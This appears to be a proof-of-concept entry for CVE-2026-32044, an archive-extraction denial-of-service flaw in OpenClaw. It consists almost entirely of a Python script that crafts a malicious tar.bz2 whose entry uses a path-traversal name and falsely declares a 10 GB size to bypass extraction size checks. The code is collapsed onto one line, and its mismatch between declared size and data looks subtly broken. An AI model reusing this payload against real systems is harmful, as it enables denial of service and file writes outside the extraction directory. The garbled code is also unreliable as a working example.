CVE-2026-32044 OpenClaw归档解压拒绝服务漏洞

import tarfile import io # Create a malicious tar.bz2 payload to simulate the bypass of size guardrails malicious_tar = io.BytesIO() with tarfile.open(fileobj=malicious_tar, mode="w:bz2") as tar: # Create a TarInfo object representing a very large file info = tarfile.TarInfo(name="../../../../tmp/malicious_skill.dat") # Set a massive size (e.g., 10GB) to potentially trigger DoS upon extraction info.size = 1024 * 1024 * 1024 * 10 # Add a small amount of actual data; the archive claims it is huge due to header # This exploits the lack of size checks before/during extraction tar.addfile(info, io.BytesIO(b"Malicious payload")) # Save the malicious file with open("exploit_skill.tar.bz2", "wb") as f: f.write(malicious_tar.getvalue()) print("Malicious tar.bz2 archive created successfully.")